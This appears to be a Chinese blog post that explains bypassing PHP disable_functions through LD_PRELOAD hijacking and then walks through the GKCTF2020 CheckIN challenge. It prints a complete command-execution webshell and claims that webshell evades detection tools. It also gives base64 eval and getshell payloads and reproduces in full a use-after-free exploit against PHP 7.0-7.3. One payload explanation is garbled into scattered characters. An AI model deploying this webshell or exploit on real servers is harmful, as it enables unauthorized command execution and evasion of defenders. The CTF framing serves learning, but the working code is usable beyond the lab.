LD_PRELOAD介绍
LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的攻击目的。
劫持系统函数
千辛万苦拿到的 webshell 居然无法执行系统命令,
怀疑服务端 disable_functions 禁用了命令执行函数,果然如此:
无法执行命令的 webshell 是无意义的,得突破!我们通过环境变量 LD_PRELOAD 劫持系统函数,达到不调用 PHP 的 各种命令执行函数(system()、exec() 等等)仍可执行系统命令的目的。
一般而言,利用漏洞控制 web 启动新进程 a.bin(即便进程名无法让我随意指定),**a.bin 内部调用系统函数 b(),b() 位于 系统共享对象 c.so 中,所以系统为该进程加载共享对象 c.so,想办法在加载 c.so 前优先加载可控的 c_evil.so,c_evil.so 内含与 b() 同名的恶意函数,由于 c_evil.so 优先级较高,所以,a.bin 将调用到 c_evil.so 内的b() 而非系统的 c.so 内 b(),同时,c_evil.so 可控,达到执行恶意代码的目的。**基于这一思路,常见突破 disable_functions 限制执行操作系统命令的方式为:
- 编写一个原型为 uid_t getuid(void); 的 C 函数,内部执行攻击者指定的代码,并编译成共享对象 getuid_shadow.so;
- 运行 PHP 函数 putenv()(用来配置系统环境变量),设定环境变量 LD_PRELOAD 为 getuid_shadow.so,以便后续启动新进程时优先加载该共享对象;
- 运行 PHP 的 mail() 函数,mail() 内部启动新进程 /usr/sbin/sendmail,由于上一步 LD_PRELOAD 的作用,sendmail 调用的系统函数 getuid() 被优先级更好的 getuid_shadow.so 中的同名 getuid() 所劫持;
- 达到不调用 PHP 的 各种 命令执行函数(system()、exec() 等等)仍可执行系统命令的目的。
拦劫启动进程
之所以劫持 getuid(),是因为 sendmail程序 会调用该函数(当然也可以为其他被调用的系统函数),在真实环境中,存在两方面问题:
- 一是,某些环境中,web 禁止启用 sendmail、甚至系统上根本未安装 sendmail,也就谈不上劫持 getuid(),通常的 www-data 权限又不可能去更改 php.ini 配置、去安装 sendmail 软件;
- 二是,即便目标可以启用 sendmail,由于未将主机名(hostname 输出)添加进 hosts 中,导致每次运行 sendmail 都要耗时半分钟等待域名解析超时返回,www-data 也无法将主机名加入 hosts(如,127.0.0.1 lamp、lamp.、lamp.com)。
基于这两个原因,我不得不放弃劫持函数 getuid(),必须找个更普适的方法。回到 LD_PRELOAD 本身,系统通过它预先加载共享对象,如果能找到一个方式,在加载时就执行代码(拦劫启动进程),而不用考虑劫持某一系统函数,那我就完全可以不依赖 sendmail 了。这种场景与 C++ 的构造函数简直神似!
GCC 有个 C 语言扩展修饰符 __attribute__((constructor))
,可以让由它修饰的函数在 main() 之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行 __attribute__((constructor))
修饰的函数。 这一细节非常重要,很多朋友用 LD_PRELOAD 手法突破 disable_functions 无法做到百分百成功,正因为这个原因,不要局限于仅劫持某一函数,而应考虑拦劫启动进程这一行为。
此外,我通过 LD_PRELOAD 劫持了启动进程的行为,劫持后又启动了另外的新进程,若不在新进程启动前取消 LD_PRELOAD,则将陷入无限循环,所以必须得删除环境变量 LD_PRELOAD。最直观的做法是调用 unsetenv("LD_PRELOAD")
(删除环境变量),这在大部份 linux 发行套件上的确可行,但在 centos 上却无效,究其原因,是centos 自己也 hook 了 unsetenv(),在其内部启动了其他进程,根本来不及删除 LD_PRELOAD 就又被劫持,导致无限循环。所以,我得找一种比 unsetenv() 更直接的删除环境变量的方式。是它,全局变量 extern char** environ
(environ是一个全局的外部变量,存储着系统的环境变量)!实际上,unsetenv() 就是对 environ 的简单封装实现的环境变量删除功能。
本项目中有这几个关键文件,bypass_disablefunc.php、bypass_disablefunc_x64.so、bypass_disablefunc_x86.so。
bypass_disablefunc.php 为命令执行 webshell,它的内容为:
<?php
echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";
$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);
mail("", "", "", "");
echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
unlink($out_path);
?>
里面提供三个 GET 参数:
cmd、outpath、sopath
http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so
(有权限上传到web目录的直接访问,无权限的话可以传到tmp目录后用include等函数来包含)
一是 cmd 参数,待执行的系统命令(如 pwd命令);二是 outpath 参数,保存命令执行输出结果的文件路径(如 /tmp/xx),便于在页面上显示,另外该参数,你应注意 web 是否有读写权限、web 是否可跨目录访问、文件将被覆盖和删除等几点;三是 sopath 参数,指定劫持系统函数的共享对象的绝对路径(如 /var/www/bypass_disablefunc_x64.so),另外关于该参数,你应注意 web 是否可跨目录访问到它。此外,bypass_disablefunc.php 拼接命令和输出路径成为完整的命令行,所以你不用在 cmd 参数中重定向。
bypass_disablefunc_x64.so 为执行命令的共享对象,用命令 gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc_x64.so
将 bypass_disablefunc.c 编译而来。
若目标为 x86 架构,需要加上 -m32 选项重新编译,bypass_disablefunc_x86.so。
使用方法:
想办法将 bypass_disablefunc.php 和 bypass_disablefunc_x64.so 传到目标,指定好三个 GET 参数后,bypass_disablefunc.php 即可突破 disable_functions。执行 cat /proc/meminfo
:
执行 id:
顺便说下,针对 wehshell 的查杀,一般是围绕代码执行函数(如 eval())、命令执行函数(如 system())、断言函数(如 assert())开展的,而 bypass_disablefunc.php 这个 webshell 的本意是突破 disable_functions 执行命令,代码中无任何 webshell 特征函数,所以,副作用是,它能免杀。换言之,即便目标并未用 disable_functions 限制命令执行函数,你仍可将 bypass_disablefunc.php 视为普通小马来用,它能躲避后门查杀工具。过 D 盾:
————————————————————————————————————————————————————
《无需sendmail:巧用LD_PRELOAD突破disable_functions》
[GKCTF2020]CheckIN
** __construct() 当对象创建(new)时会自动调用。但在 unserialize() 时是不会自动调用的。**
我们的思路是构造base64编码的payload,用get传给Ginkgo,最后被eval执行。
我们先尝试:
system('ls');
其base64:
c3lzdGVtKCYjMzk7bHMmIzM5Oyk7
发现并不行,一点反应都没有:
尝试:
phpinfo(); //注意eval()里的代码要有分号;
其base64:
cGhwaW5mbygpOw==
成功
但为什么system就不行了,难道这几个命令执行函数被禁用了?我们搜索disable_functions:
发现确实禁用了。我们尝试先getshell:
尝试:
eval($_POST['apple']); //注意eval()里的代码要有分号;刚开始单引号不行 双引号可以,最后发现居然是 base64网站的问题,解密加密结果不一样 。。。。。所以不要用带引号的这用,建议用eval($_POST[1]); (ZXZhbCgkX1BPU1RbMV0pOw==)
其base64:
ZXZhbCUyOCUyNF9QT1NUJTVCJTI3YXBwbGUlMjclNUQlMjklM0IlMjA=
注意这里是eval(
P
O
S
T
[
′
a
p
p
l
e
′
]
)
;
,
到
P
H
P
代
码
中
即
为
‘
@
e
v
a
l
(
e
v
a
l
(
_POST['apple']);,到PHP代码中即为`@eval(eval(
POST[′apple′]);,到PHP代码中即为‘@eval(eval(_POST[‘apple’]);)`。
成功连上,看到根目录有flag和readflag:
思路应该是执行readflag程序就能得到flag,但我们刚开始说了,几个命令执行函数被disable_functions禁用了,如下:
啥也执行不了,我们只能上传exp来绕过disable_functions。我们找到/var/tmp目录有上传权限,我们上传这两个脚本:
之后怎么做呢?我们需要把bypass_disablefunc.php用include包含进来:
构造payload,提供三个 GET 参数:
cmd、outpath、sopath
http://f2e4d596-d1a1-47f1-85ef-e2a1210782b3.node3.buuoj.cn/?Ginkgo=aW5jbHVkZSgiL3Zhci90bXAvYnlwYXNzX2Rpc2FibGVmdW5jLnBocCIpOw==&cmd=/readflag&outpath=/tmp/outfile123&sopath=/var/tmp/bypass_disablefunc_x64.so
得到flag:
还有一种更简单的方法,不用传递三个复杂的参数,即简单修改bypass_disablefunc.php的内容:
上传修改后的bypass_disablefunc.php和bypass_disablefunc_x64.so,
直接在页面中包含bypass_disablefunc.php即可得到flag:(有权限上传到web目录的直接访问)
官方exp.php
WP解释说是PHP里面禁用了相关函数,所以我们需要绕过的exp,上传至服务器目录,并执行
WP里面给出了下载地址:https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php
<?php
# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=72530
#
# This exploit should work on all PHP 7.0-7.3 versions
#
# Author: https://github.com/mm0r1
pwn("uname -a");
function pwn($cmd) {
global $abc, $helper;
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
class ryat {
var $ryat;
var $chtg;
function __destruct()
{
$this->chtg = $this->ryat;
$this->ryat = 1;
}
}
class Helper {
public $a, $b, $c, $d;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10; # increase this value if you get segfaults
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_repeat('A', 79);
$poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
$out = unserialize($poc);
gc_collect_cycles();
$v = [];
$v[0] = ptr2str(0, 79);
unset($v);
$abc = $out[2][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);
# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
($helper->b)($cmd);
exit();
}
文件开头pwn函数后面()中是要放执行的命令,我们改为执行‘/readflag‘
我们改为:
之后上传至服务器,这里我们无法直接用Ginkgo来读取exp使其执行
直接包含即可